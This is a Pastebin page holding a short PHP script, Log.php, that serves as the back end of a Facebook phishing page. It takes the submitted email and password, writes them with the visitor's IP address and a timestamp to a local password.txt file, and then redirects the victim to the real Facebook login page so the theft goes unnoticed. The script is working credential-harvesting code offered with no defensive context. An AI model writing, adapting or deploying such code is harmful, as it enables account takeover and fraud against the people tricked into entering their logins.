Advertisement
Guest User

Log.php

a guest
Apr 26th, 2017
150
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.89 KB | None | 0 0
  1. <?php $file = "password.txt";
  2. $username = $_POST['email'];
  3. $password = $_POST['pass'];
  4. $ip = $_SERVER['REMOTE_ADDR'];
  5. $today = date("F j, Y, g:i a");
  6.  
  7. $handle = fopen($file, 'a');
  8. fwrite($handle, "+++++++++++++++++++++++++++++++++++++++++++++++++ +++");
  9. fwrite($handle, "\n");
  10. fwrite($handle, "Email: ");
  11. fwrite($handle, "$username");
  12. fwrite($handle, "\n");
  13. fwrite($handle, "Password: ");
  14. fwrite($handle, "$password");
  15. fwrite($handle, "\n");
  16. fwrite($handle, "IP Address: ");
  17. fwrite($handle, "$ip");
  18. fwrite($handle, "\n");
  19. fwrite($handle, "Date Submitted: ");
  20. fwrite($handle, "$today");
  21. fwrite($handle, "\n");
  22. fwrite($handle, "+++++++++++++++++++++++++++++++++++++++++++++++++ +++");
  23. fwrite($handle, "\n");
  24. fwrite($handle, "\n");
  25. fclose($handle);
  26. echo "<script LANGUAGE=\"JavaScript\">
  27. <!--
  28. window.location=\"https://login.facebook.com/login.php?login_attempt=1\";
  29. // -->
  30. </script>";
  31. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement